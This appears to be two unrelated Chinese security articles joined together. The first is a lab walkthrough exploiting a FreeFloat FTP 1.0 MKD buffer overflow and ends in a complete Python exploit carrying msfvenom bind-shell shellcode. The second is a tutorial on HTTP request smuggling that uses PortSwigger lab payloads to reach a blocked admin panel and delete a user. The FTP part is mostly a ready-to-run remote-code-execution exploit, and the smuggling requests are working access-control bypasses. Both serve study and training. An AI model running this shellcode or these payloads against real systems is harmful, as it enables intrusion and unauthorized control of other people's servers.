EIP - 指令指针（保存下一条要执行的指令的地址）
漏洞数据库：<https://www.exploit-db.com/exploits/40711/（下图去除了一些注释，该网址完整版可以自己上去看）>
通常我们需要做坏字符分析，我们在exploit-db上预先存在的metasploit模块中查看出坏字符。列出的字符是 **\x00\x0A\x0D**
。我们需要记住这些字符以备后用（后面生成shellcode需要用到）。
* * *
### 第一步： 让FreeFloat FTP1.0 出现崩溃
首先我们需要创建一个POC来使FTP服务器崩溃。我在exploit-db上找到的“FreeFloat
FTP”的漏洞进行了攻击。我们将使用FTP服务器配置的预先存在的“匿名”用户帐户（漏洞应该与任何有效的登录凭据一起使用）。这一步的主要目的是为了确定那个寄存器存在可以存放恶意shellcode的缓冲区。
#!/usr/bin/python
import socket
import sys
evil = "A"*1000
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.190.139',21))
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close
然后我们先把FTP服务器扔进行启动好的，然后我在kali上运行POC，发现程序崩溃了。你可以看到EIP被覆盖，两个寄存器（ESP和EDI）包含我们的缓冲区的一部分。在分析寄存器转储之后，ESP存在可以利用的地方，因为它包含了我们缓冲区的一大块。
* * *
### 第二步：覆盖EIP
接下来，我们需要分析我们的崩溃，为此我们需要用metasploit模式下pattern_create.rb进行生成替换我们之前设置的A，并重新发送缓冲区。注意，由于变化的缓冲区长度可能会改变程序崩溃，所以我们这里必须保持原始缓冲区的长度是1000。
当程序再次崩溃时，我们可以看到以下内容，只是EIP（和两个寄存器）现在被部分metasploit模式覆盖了。我们可以用“mona”来分析程序崩溃。你可以在下面的截图中看到分析的结果。
> !mona findmsp
从分析中我们可以看到，EIP被我们缓冲区的最初247个字节之后的4个字节覆盖。就像我之前说过的，我们也可以看到，ESP包含了一大块缓冲区，所以它是我们攻击的一个更合适的候选者。使用这些信息，我们可以重新组织上面的POC中的恶意缓冲区，看起来像这样：
**evil = "A"*247 + "B" _4 + "C"_ 749**
当我们重新发送修改后的缓冲区时，我们可以EIP被我们的四个B覆盖。
这意味着我们可以用一个将执行流重定向到ESP的指针来替换这些B。我们要清楚的是我们的指针不能包含坏字符。要找到这个指针，我们可以用下面的命令使用“mona”。如图所示：
> !mona jmp -r esp
然后我们再打开jmp.txt查看进栈的地址：
看来，这些指针中的任何一个都可以，它们属于操作系统的DLL，所以它们将特定存在于“WinXP PRO
SP3”，但这不是我们主要关心的问题。我们可以使用列表中的第一个指针。请住，由于CPU的Little Endian架构，我们需要反转字节顺序。
0x77c21025 : push esp # ret | {PAGE_EXECUTE_READ} [msvcrt.dll] ASLR: False,
Rebase: False, SafeSEH: True, OS: True, v7.0.2600.5512
(C:\WINDOWS\system32\msvcrt.dll)
Buffer: **evil = "A"*247 + "\x25\x10\xc2\x77" + "C"*749**
所以我这里最后成型的POC:
#!/usr/bin/python
import socket
import sys
#------------------------------------------------------------ # Badchars: \x00\x0A\x0D
# 0x77c35459 : push esp # ret | msvcrt.dll
#------------------------------------------------------------
evil = "A"*247 + "\x25\x10\xc2\x77" + "C"*749
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.190.139',21))
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close
然后让我们在Immunity
Debugger重新启动程序，并在我们的指针上放置一个断点，以便在调试器到达时暂停。正如我们在下面的屏幕截图中看到的，EIP被我们的指针覆盖，我们触发了我们的断点，它应该把我们带到位于ESP的缓冲区。
* * *
### 第三步：构造恶意shellcode
我们需要（1）修改我们的POC，为我们的shellcode添加一个变量，（2）插入payload。让我们从POC开始，我们将把我们的有效载荷插入到现在由C组成的缓冲区中。理想情况下，我们希望动态修改缓冲区长度，所以如果我们插入一个不同大小的负载（但是我们的总缓冲区长度应该保持1000字节），我们不需要重新计算。我们还应该在我们的有效载荷之前插入一些NOP作为填充。你可以看到下面的结果。我们在shellcode变量中插入的任何shellcode都会被缓冲区溢出执行。
#!/usr/bin/python
import socket
import sys
shellcode = (
)
#------------------------------------------------------------ # Badchars: \x00\x0A\x0D
# 0x77c35459 : push esp # ret | msvcrt.dll
#------------------------------------------------------------
buffer = "\x90"*20 + shellcode
evil = "A"*247 + "\x25\x10\xc2\x77" + buffer + "C"*(749-len(buffer))
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.190.139',21))
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close
然后我们使用msfvenom生成恶意shellcode 。
所以最好成型代码如下：
#!/usr/bin/python
import socket
import sys
#----------------------------------------------------------------------------------#
# msfvenom windows/shell_bind_tcp LPORT=5555 -b '\x00\x0A\x0D' -f c #
#----------------------------------------------------------------------------------#
shellcode = (
"\xb8\x9f\xdb\xc8\xe7\xdb\xdc\xd9\x74\x24\xf4\x5a\x29\xc9\xb1"
"\x53\x31\x42\x12\x83\xea\xfc\x03\xdd\xd5\x2a\x12\x1d\x01\x28"
"\xdd\xdd\xd2\x4d\x57\x38\xe3\x4d\x03\x49\x54\x7e\x47\x1f\x59"
"\xf5\x05\x8b\xea\x7b\x82\xbc\x5b\x31\xf4\xf3\x5c\x6a\xc4\x92"
"\xde\x71\x19\x74\xde\xb9\x6c\x75\x27\xa7\x9d\x27\xf0\xa3\x30"
"\xd7\x75\xf9\x88\x5c\xc5\xef\x88\x81\x9e\x0e\xb8\x14\x94\x48"
"\x1a\x97\x79\xe1\x13\x8f\x9e\xcc\xea\x24\x54\xba\xec\xec\xa4"
"\x43\x42\xd1\x08\xb6\x9a\x16\xae\x29\xe9\x6e\xcc\xd4\xea\xb5"
"\xae\x02\x7e\x2d\x08\xc0\xd8\x89\xa8\x05\xbe\x5a\xa6\xe2\xb4"
"\x04\xab\xf5\x19\x3f\xd7\x7e\x9c\xef\x51\xc4\xbb\x2b\x39\x9e"
"\xa2\x6a\xe7\x71\xda\x6c\x48\x2d\x7e\xe7\x65\x3a\xf3\xaa\xe1"
"\x8f\x3e\x54\xf2\x87\x49\x27\xc0\x08\xe2\xaf\x68\xc0\x2c\x28"
"\x8e\xfb\x89\xa6\x71\x04\xea\xef\xb5\x50\xba\x87\x1c\xd9\x51"
"\x57\xa0\x0c\xcf\x5f\x07\xff\xf2\xa2\xf7\xaf\xb2\x0c\x90\xa5"
"\x3c\x73\x80\xc5\x96\x1c\x29\x38\x19\x37\x19\xb5\xff\x5d\x4d"
"\x90\xa8\xc9\xaf\xc7\x60\x6e\xcf\x2d\xd9\x18\x98\x27\xde\x27"
"\x19\x62\x48\xbf\x92\x61\x4c\xde\xa4\xaf\xe4\xb7\x33\x25\x65"
"\xfa\xa2\x3a\xac\x6c\x46\xa8\x2b\x6c\x01\xd1\xe3\x3b\x46\x27"
"\xfa\xa9\x7a\x1e\x54\xcf\x86\xc6\x9f\x4b\x5d\x3b\x21\x52\x10"
"\x07\x05\x44\xec\x88\x01\x30\xa0\xde\xdf\xee\x06\x89\x91\x58"
"\xd1\x66\x78\x0c\xa4\x44\xbb\x4a\xa9\x80\x4d\xb2\x18\x7d\x08"
"\xcd\x95\xe9\x9c\xb6\xcb\x89\x63\x6d\x48\xb9\x29\x2f\xf9\x52"
"\xf4\xba\xbb\x3e\x07\x11\xff\x46\x84\x93\x80\xbc\x94\xd6\x85"
"\xf9\x12\x0b\xf4\x92\xf6\x2b\xab\x93\xd2")
#----------------------------------------------------------------------------------#
# Badchars: \x00\x0A\x0D #
# 0x77c35459 : push esp # ret | msvcrt.dll #
# shellcode at ESP => space 749-bytes #
#----------------------------------------------------------------------------------#
buffer = "\x90"*20 + shellcode
evil = "A"*247 + "\x25\x10\xc2\x77" + buffer + "C"*(749-len(buffer))
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.190.139',21))
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close;
最后我们重启启动FTP服务器，然后启动我们的POC，然后使用nc进行连接。 | 社区文章 |
# 预备知识
## 不同版本的HTTP的区别
| 显著特点 | 支持的请求方法 | 性能优化 | 泛用程度
---|---|---|---|---
HTTP0.9 | 不支持请求头响应头，纯文本 | GET | | 已过时
HTTP1.0 | 支持请求头响应头，超文本 | GET、HEAD、POST | 短链接，无优化 | 仍有少量使用
HTTP1.1 | 性能优化，增加请求方法 | 增加了OPTIONS,PUT, DELETE, TRACE, CONNECT方法 | 增加Keep-Alive和chunked分块传输，请求流水线等 | 目前使用最广泛
HTTP2.0 | 增加了二进制分帧 | 无变化 | 增加了二进制分帧层用与多路复用，通信在一个链接上进行，ServerPush | 目前应用较少
## 关于HTTP1.1
这个版本的HTTP是现如今使用最为广泛的HTTP协议，所以对于这个版本我们可以进一步分析一下
这个版本增加了`Keep-alive`特性，那么这个特性是啥呢？
所谓`Keep-Alive`，就是在HTTP请求中增加一个特殊的请求头`Connection: Keep-Alive`，告诉服务器，接收完这次HTTP请求后，不要关闭TCP链接，后面对相同目标服务器的HTTP请求，重用这一个TCP链接，这样只需要进行一次TCP握手的过程，可以减少服务器的开销，节约资源，还能加快访问速度。当然，这个特性在`HTTP1.1`中是默认开启的。
有了`Keep-Alive`之后，后续就有了`Pipeline`，在这里呢，客户端可以像流水线一样发送自己的HTTP请求，而不需要等待服务器的响应，服务器那边接收到请求后，需要遵循先入先出机制，将请求和响应严格对应起来，再将响应发送给客户端。
现如今，浏览器默认是不启用`Pipeline`的，但是一般的服务器都提供了对`Pipleline`的支持。
## 关于Content-Length
这个简单些，我们放到后面讲。
## 关于Transfer-Encoding
Transfer-Encoding 是一种被设计用来支持 7-bit 传输服务安全传输二进制数据的字段，有点类似于 MIME (Multipurpose
Internet Mail Extensions) Header 中的 Content-Transfer-Encoding
。在HTTP的情况下，Transfer-Encoding 的主要用来以指定的编码形式编码 payload body
安全地传输给用户，并将仅用于传输效率或安全性的有效负载编码与所选资源的特征区分开来。在 HTTP/1.1 中引入，在 HTTP/2 中取消。引入了一个名为
`TE` 的头部用来协商采用何种传输编码。但是最新的 HTTP 规范里，只定义了一种传输编码：分块编码（chunked）。
分块编码相当简单，在头部加入 `Transfer-Encoding: chunked`
之后，就代表这个报文采用了分块编码。这时，报文中的实体需要改为用一系列分块来传输。每个分块包含十六进制的长度值和数据，长度值独占一行，长度不包括它结尾的
CRLF（\r\n），也不包括分块数据结尾的 CRLF。最后一个分块长度值必须为 0，对应的分块数据没有内容，表示实体结束。
require('net').createServer(function(sock) {
sock.on('data', function(data) {
sock.write('HTTP/1.1 200 OK\r\n');
sock.write('Transfer-Encoding: chunked\r\n');
sock.write('\r\n');
sock.write('b\r\n');
sock.write('01234567890\r\n');
sock.write('5\r\n');
sock.write('12345\r\n');
sock.write('0\r\n');
sock.write('\r\n');
});
}).listen(9090, '127.0.0.1');
上面的代码中，响应头中表明接下来的实体会采用分块编码，然后输出了 11 字节的分块，接着又输出了 5 字节的分块，最后用一个 0
长度的分块表明数据已经传完了。用浏览器访问这个服务，可以得到正确结果。
当Content-Encoding 和 Transfer-Encoding
二者结合来用，其实就是针对进行了内容编码（压缩）的内容再进行传输编码（分块）。下面是我用 telnet 请求测试页面得到的响应，可以看到对 gzip
（压缩）内容进行的分块：
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 11 Sep 2022 14:44:23 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Content-Encoding: gzip
1f
�H���W(�/�I�J
0
这样的属性在MDN中还有列举
chunked | compress | deflate | gzip | identity
chunk传输数据格式如下，其中size的值由16进制表示。
[chunk size][\r\n][chunk data][\r\n][chunk size][\r\n][chunk data][\r\n][chunk size = 0][\r\n][\r\n]
其实也就是
[chunk size][\r\n]
[chunk data][\r\n]
[chunk size][\r\n]
[chunk data][\r\n]
[chunk size = 0][\r\n][\r\n]
举个例子（这里我没做成功，在小皮里面写了个脚本本地包bp抓不到，各种方法都不管用，我也不知道哪里出问题了。。。。这里看v0w师傅的案例吧）
假设我们想通过POST传输这样的信息
正常请求是这样的：
通过增加`Transfer-Encoding: chunked`的headers，我们可以这样传输：
POST /index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Transfer-Encoding: chunked
2\r\n
na\r\n
c\r\n
me=V0WKeeper\r\n
0\r\n
\r\n
* 第一个分块：`\r\n`是CRLF，所以这里的`\r\n`是两个字节；第一个数字 2 表示`chunked-size`,是指接下来会有 2 个字节的数据(这个数字是16进制的)，也就是 `na` 这 2 个字母，然后按照 RFC 文档标准，字母 `na` 部分后面需要跟\r\n表示这个na是 `chunk-data`部分
* 第二个分块：16进制的数字 c 后面表示`chunk-size`部分，是十六进制数表示这个分块的`chunk-data`是12字节，即`me=V0WKeeper`，之后`\r\n`表明这是`chunk-data`部分
* 最后有一个`0\r\n\r\n`表示分块传输结束。
师傅已经说的很明白了，没有必要过多赘述了。
## CL&TE优先级
CL表示Content-Length，TE表示Transfer-Encoding。那么现在有一个问题：对于 CL & TE 解析是否存在优先级顺序？
在RFC中规定如果接收到带有 Transfer-Encoding 和 Content-Length 头字段的消息，则 Transfer-Encoding
会覆盖 Content-Length。这样的消息可能表明尝试执行请求走私（第 9.5 节）或响应拆分（第 9.4
节），应该作为错误处理。发送者必须在向下游转发这样的消息之前删除接收到的 Content-Length 字段。
这里指出了 TE 优先于 CL ，但是我们仍然可以通过一些方式绕过，又或者说，那个中间件的也没有依照这个 RFC 标准规范实现，这就导致了差异性的存在。
# 基础知识
## HTTP请求夹带是什么？
HTTP请求夹带（HTTP request
smuggling）又名HTTP请求走私，是一种干扰网站处理从一个或多个用户接受的请求的一种攻击技术。通俗地理解就是：攻击者发送一个语句模糊的请求，就有可能被解析为两个不同的HTTP请求，第二请求就会“逃过”正常的安全设备的检测，使攻击者可以绕过安全控制，未经授权访问敏感数据并直接危害其他应用程序用户。
攻击者部分前端请求被后端服务器解释为下一个请求的开始。实际上优先于下一个正常请求，因此会干扰应用程序处理正常请求的方式。。
## 如何实现HTTP请求夹带？
HTTP请求走私漏洞的产生于：前端的反向代理服务器和后端的Web服务器，对同一个请求的理解不一致。
今天的Web应用程序经常在用户和最终应用程序逻辑之间使用HTTP服务器链。
用户将请求发送到前端服务器（有时称为负载平衡器或反向代理），此服务器将请求转发给一个或多个后端服务器。
在现代基于云的应用程序中，这种类型的体系结构越来越常见，并且在某些情况下是不可避免的。
当前端服务器将HTTP请求转发到后端服务器时，它通常通过相同的后端网络连接发送多个请求，因为这样做效率更高，性能更高。
协议非常简单：HTTP请求一个接一个地发送，接收服务器解析HTTP请求标头以确定一个请求结束的位置和下一个请求的开始：
此时，Front-End前端服务器和Back-End后端服务器关于多个请求之间的边界问题的一致性是非常重要的！否则，攻击者可能发送一个模糊的请求，若前端服务器和后端服务器之前对请求的边界没有严格定义好，就会对这个请求执行不用的解析处理方式，从而产生不同的相应结果，请求夹带攻击也就由此产生。
在这里，攻击者将后端服务器的部分前端请求解释为下一个请求的开始。它有效地预先附加到下一个请求，因此可能会干扰应用程序处理请求的方式。
根据破坏请求的方式不同，一般将HTTP走私分为几种不同的情形（CL:Content-Length, TE:Transfer-Encoding）：
* CL!=0
* CL-CL
* CL-TE
* TE-CL
* TE-TE
## 漏洞产生原因
### 标准数据包结束的标头标志
#### Content-Length（简称为CL）
`Content-Length`, 是HTTP消息长度, 用 **十进制数字** 表示的 **八位字节的数目** 。`Content-Length`首部指示出报文中实体主体的字节大小. 这个大小是包含了所有内容编码的, 比如, 对文本文件进行了`gzip`压缩的话, `Content-Length`首部指的就是压缩后的大小而不是原始大小。
这个就简单易懂，它以字节为单位指定消息体的长度。
报文长度数经常出问题，建议使用Burp插件HTTP Request Smuggler自动处理。
最方便的方法是：将报文完整粘贴到`Sublime Text文本编辑器`中如果末尾有空行别忘了补充上。选中可直接查看字符数。
这里不同平台还是有一定区别的
win平台：换行用0d0a，`2`个字节表示
linux和mac：换行分别用0a和0d,`1`个字节表示
POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
q=smuggling
#### Transfer-Encoding(简称为TE)
用于指定消息体使用分块编码（Chunked Encode），也就是说消息报文由一个或多个数据块组成，每个数据块大小以字节为单位（十六进制表示）
衡量，后跟换行符，然后是块内容。
最重要的是：整个消息体以大小为0的块结束，也就是说解析遇到0数据块就结束。
POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
b （16进制6，代表每一块chunck长11位）
q=smuggling （字符串11字节长，不要加2哈，与CL不同）、
0 （遇0 chunck结束）
由于HTTP规范提供了以上两种不同方法来指定HTTP消息体的长度，因此单个消息可以同时使用这两种方法，这种情况下，它们就会发生相互冲突。HTTP规范试图通过声明来防止此问题的发生，即：如果Content-Length和Transfer-Encoding标头同时出现在一个请求中，则应忽略Content-Length标头。这种规范在一台服务器接收请求时可以避免出现歧义，但在两台或多台服务器链接收请求时可能会出现问题。
为啥数量一多就会出问题呢？有俩原因
某些服务器不支持请求中的Transfer-Encoding标头；
如果攻击者把标头以某种方式进行模糊构造，则可能会导致某些支持Transfer-Encoding标头的服务器不会处理部份消息内容，而把这些内容当成是下一个请求的起始。
这样一来，前端服务器和后端服务器对模糊构造的Transfer-Encoding标头解析结果不同，相互之间对请求的边界不能形成共识，就会导致请求夹带漏洞的产生。
# 漏洞解析
HTTP请求夹带攻击需要将Content-Length头和Transfer-Encodeing头放入单个请求中，并操控使得前端和后端服务器以不同方式处理请求，这种攻击取决于前端和后端两台服务器对标头的处理方式：
CL!=0 :Content-length不为零
CL.CL：前端服务器使用Content-length，后端服务器使用Content-length头部。
CL.TE：前端服务器使用Content-length，后端服务器使用Transfer-Encoding头部。
TE.CL：前端服务器使用Transfer-Encodin头部，后端服务器使用Content-length头部。
TE.TE：前端和后端服务器都支持Transfer-Encodin报头，但可以通过以某种方式混淆报头来诱导其中一个服务器不处理它。
## CL!=0
如果前端代理服务器允许GET携带请求体，而后端服务器不允许GET携带请求体，后端服务器就会直接忽略掉GET请求中的Content-Length头，这就有可能导致请求走私。
其实在这里，影响到的并不仅仅是GET请求，所有不携带请求体的HTTP请求都有可能受此影响，只因为GET比较典型。
在`RFC2616`中，没有对GET请求像POST请求那样携带请求体做出规定，在最新的`RFC7231`的4.3.1节中也仅仅提了一句。
在 GET 请求上发送有效负载正文可能会导致某些现有实现拒绝该请求
举个例子
GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 43\r\n
GET / admin HTTP/1.1\r\n
Host: example.com\r\n
\r\n
在前端服务器看来它是一个请求，但是在后端服务器来看它就是：
第一个请求
GET / HTTP/1.1\r\n
Host: example.com\r\n
第二个请求
GET / admin HTTP/1.1\r\n
Host: example.com\r\n
可导致请求走私
## CL.CL漏洞
在RFC7230的第3.3.3节中的第四条中，规定当服务器收到的请求中包含两个Content-Length，而且两者的值不同时，需要返回400错误。
但是很明显这并非是强制的，如果服务器不遵守安全规定在服务器收到多个CL不相同的请求时不返回400错误，那么就可能会导致请求走私。
假设中间的代理服务器和后端的源站服务器在收到类似的请求时，都不会返回400错误，但是中间代理服务器按照第一个`Content-Length`的值对请求进行处理，而后端源站服务器按照第二个`Content-Length`的值进行处理。
构造一个特殊的请求
POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n
12345\r\n
a
中间代理服务器看到的第一个CL长度为8，此时代码的567行字符总数正好为8，代理服务器觉得没啥问题，就直接向后端的源站服务器原封不动的发包。
但此时后端服务器看到的第一个 CL长度为7，当他读完前七个字符之后，还剩缓冲区中的最后一个a没有读，那么此时的a对于后端服务器来说就是下一个请求的一部分
就在此时，有个倒霉蛋对服务器进行了请求，假设请求是
GET /index.html HTTP/1.1\r\n
Host: example.com\r\n
从前面我们也知道了，代理服务器与源站服务器之间一般会重用TCP连接。
这时候正常用户的请求就拼接到了字母`a`的后面，当后端服务器接收完毕后，它实际处理的请求其实是
aGET /index.html HTTP/1.1\r\n
Host: example.com\r\n
这样的话用户就会收到一个类似于`aGET request method not
found`的报错。这样就实现了一次HTTP走私攻击，而且还对正常用户的行为造成了影响。
但很明显这种情况过于“巧合”应该很难遇见，存在两个CL的包一般服务器都不会接受，在RFC2616的第4.4节中，规定:如果收到同时存在Content-Length和Transfer-Encoding这两个请求头的请求包时，在处理的时候必须忽略Content-Length，这就意味着我们可以在头部同时包含这两种请求头，相比这下这种方式更现实一些。
## CL.TE漏洞
front-end: `Contnt-Length` back-end: `Transfer-Encoding`
前端服务器使用了Content-Length标头，后端服务器使用Transfer-Encoding标头
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked
0 （3字节）
（2字节）
SMUGGLED （8字节，最后2个空字节不加）
前端服务器处理Contnt-Length，长度为13 涵盖了所有bady数据（空行算4个字节）
后端服务器处理Transfer-Encoding，处理第一个块，该块被声明为零长度，因此被视为终止请求。余下的SMUGGLED，后端服务器将遗留字节作为下一个请求的开始
此时消息报文传输到采用Transfer-Encoding头的后端服务器，它是采用分块编码来处理消息报文的，当解析到第一个分块为0时，处理结束。那么剩余未处理的 smuggle-data
字节内容，后端服务器将一直等待直至下一个请求到来时处理，即后端服务器将这些字节视为序列中下一个请求的开始。此时若前端服务器继续向后端服务器发送请求或其他用户发送请求时，那么后端服务器接收的下一个请求内容就是：
SMUGGLEDPOST / HTTP/1.1
Host: vulnerable-website.com
....
这样后端服务器将会返回响应：
Unrecognized method SMUGGLEDPOST
进入靶场试试
请求正常：
加入TE头，并且构造POST数据，夹带出GPOST请求
发送恶意请求：
继续发送第二个请求（这个请求也可能是其他用户发送的，总之都在后端服务器的请求序列中），这个请求将加入后端服务器的请求等待序列并且被处理解析为GPOST请求方式：
然后就成了
## TE.CL漏洞
这里的前端服务器采用Transfer-Encoding头，而后端服务器采用Content-Length头。攻击者可以通过以下单个请求来进行夹带攻击：
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Transfer-Encoding: chunked
12
smuggle-data
0
过程和上一lab相反，在单个请求中，前端服务器使用Transfer-Encoding头，将消息体视为分块编码方式，现不是依照CL头的长度来结束请求，而是通过TE头规范中遇到0字节来结束请求。故当前端服务器接收到第一个请求时候，解析得到的数据为：
12
smuggle-data
此数据包传输到采用Content-Length头的后端服务器，由于CL指定的长度为4，所以消息内容到12结束，剩余未处理的 smuggle-data
字节内容，后端服务器将一直等待直至下一个请求到来时处理。
在bp的Repeater时，要将"Repeater >> Update Content-Length"选项关闭，手工指定长度。
同样主页抓包，改为POST请求方式，并且加入Transfer-Encoding字段头：
造成请求夹带，这里手动将CL的长度改为4：
第二次发送请求即可夹带出GPOST请求：
## TE.TE漏洞
也很容易理解，当收到存在两个请求头的请求包时，前后端服务器都处理`Transfer-Encoding`请求头，这确实是实现了RFC的标准。不过前后端服务器毕竟不是同一种，这就有了一种方法，我们可以对发送的请求包中的`Transfer-Encoding`进行某种混淆操作，从而使其中一个服务器不处理`Transfer-Encoding`请求头。从某种意义上还是`CL-TE`或者`TE-CL`。
1. Transfer-Encoding: xchunked
2. Transfer-Encoding : chunked
3. Transfer-Encoding: chunked
4. Transfer-Encoding: x
5. Transfer-Encoding:[tab]chunked
6. [space]Transfer-Encoding: chunked
7. X: X[\n]Transfer-Encoding: chunked
8. Transfer-Encoding
: chunked
要发现TE.TE漏洞，必须找到Transfer-Encoding头的某些变体，构造之，使得前端或后端服务器只有一个对其进行处理，而另一个服务器不进行TE解析，转而进行CL解析，演变成CL.TE或TE.CL漏洞的形式。
进入靶场试试
第一次请求
POST / HTTP/1.1
Host: 0a86003304b1bf71c01a33c2008100ad.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://portswigger.net/
Connection: close
Cookie: session=QB6Ea8U4A6t52sbFsxA8Oj4791fngORH
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Transfer-encoding: x
Content-Length: 4
57
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
0
首先在第17，18行对TE进行混淆，然后设置CL头的结束位置为四个字节，最后在0后面跟上两次换行，即`\r\n`
通过第一次请求，TE.TE转为TE.CL形式。
第二次请求，即完成HTTP请求夹带攻击：
ol
# 如何使用他来进行攻击
## 绕过前端安全控制
依然用的BP的练兵场，对于这种攻击方式BP提供了两个靶场，一个是CL.TE的，另一个是TE.CL形式的，这些稍后都会讲到。
### CL.TE形式
这个题题目要求是这样的
本实验涉及前端和后端服务器，前端服务器不支持分块编码。
/admin 有一个管理面板，但前端服务器阻止访问它。
要解决实验室问题，请向访问管理面板并删除用户 carlos 的后端服务器发送请求。
架构和之前提到是CL-TE实验一样，只不过这次我们需要去利用 HTTP Smuggling 获取 admin 权限并删除 carlos 用户。
首先尝试访问`/admin`并观察请求，但被阻止了。
发现 `"Path /admin is blocked"`，看来不能通过正常方式访问`/admin`
构造个Smuggling方式访问试试
POST / HTTP/1.1
Host: 0aa400a60419aecec008449900fa009d.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: session=clF0XU0E1rYd4rPv412CSigJ5kNxoZiI
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
这里有个小细节，将`Connection`从`close`改为`Connection: keep-alive`
发送数据包两次，可以看到限制是什么
说是对本地用户开放，我们就加个host头，增加`Host: localhost`
一样POST了两次
可以看到有删除的接口，直接构造
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
Content-Length: 70
Transfer-Encoding: chunked
0
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
然后就ol
这里CL数值计算是这样的
-->POST data需要空一行，不计数
0 -->3个字节
-->2个字节
GET /admin HTTP/1.1 -->19+2 = 21 个字节
-->2个字节
-->2个字节
所以这么结算下来就是 3+2+21+2+2 = 30字节。
### TE.CL形式
题目要求和前面的是完全一样的，只不过是换了个形式
依旧是先尝试访问/admin，依旧是被阻塞
根据TE.CL来构造一个请求
Content-length: 4
Transfer-Encoding: chunked
-->POST data需要空一行，不计数
60 -->60占两个字符，换行两个字符，共四个，上面的CL限制字符数量为4，所以下面的内容当作下一个包的开头。
POST /admin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0 -->TE到0结束，从第五行到0为下个包
发包两次，然后成功访问
还是要求本地，加个host
Content-length: 4
Transfer-Encoding: chunked
71
POST /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
进入后，直接更改走私请求
Content-length: 4
Transfer-Encoding: chunked
87
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
就ok了
## 利用 HTTP 请求走私揭示前端请求重写
在有的网络环境下，前端代理服务器在收到请求后，不会直接转发给后端服务器，而是先添加一些必要的字段，然后再转发给后端服务器。这些字段是后端服务器对请求进行处理所必须的，比如：
* 描述TLS连接所使用的协议和密码
* 包含用户IP地址的XFF头
* 用户的会话令牌ID
总之，如果不能获取到代理服务器添加或者重写的字段，我们走私过去的请求就不能被后端服务器进行正确的处理。那么我们该如何获取这些值呢。PortSwigger提供了一个很简单的方法，主要是三大步骤：
* 找一个能够将请求参数的值输出到响应中的POST请求
* 把该POST请求中，找到的这个特殊的参数放在消息的最后面
* 然后走私这一个请求，然后直接发送一个普通的请求，前端服务器对这个请求重写的一些字段就会显示出来。
有时候 Front 服务器会给转发的请求添加一些请求头再转发给 Backend 服务器，我们可以利用 HTTP Smuggling 的方式来泄露这些请求头。
整个题目理解一下
这个题涉及前后端服务器，前端服务器不支持分块编码。
题目要求还是一样的，还是删除一个用户
进入靶场后发现多了个搜索框
随变输点东西抓包看一下
可以看到，请求方式是POST，底下出现了一个search栏，网页上也有回显，符合上文提到的条件：能够将请求参数的值输出到响应中的POST请求
尝试使用 HTTP Smuggling 方式访问，但是被不成功：
我们把search放在后面，看看可以输出什么
成功输出了，重写的字段显现出来了
下面分析一下原理
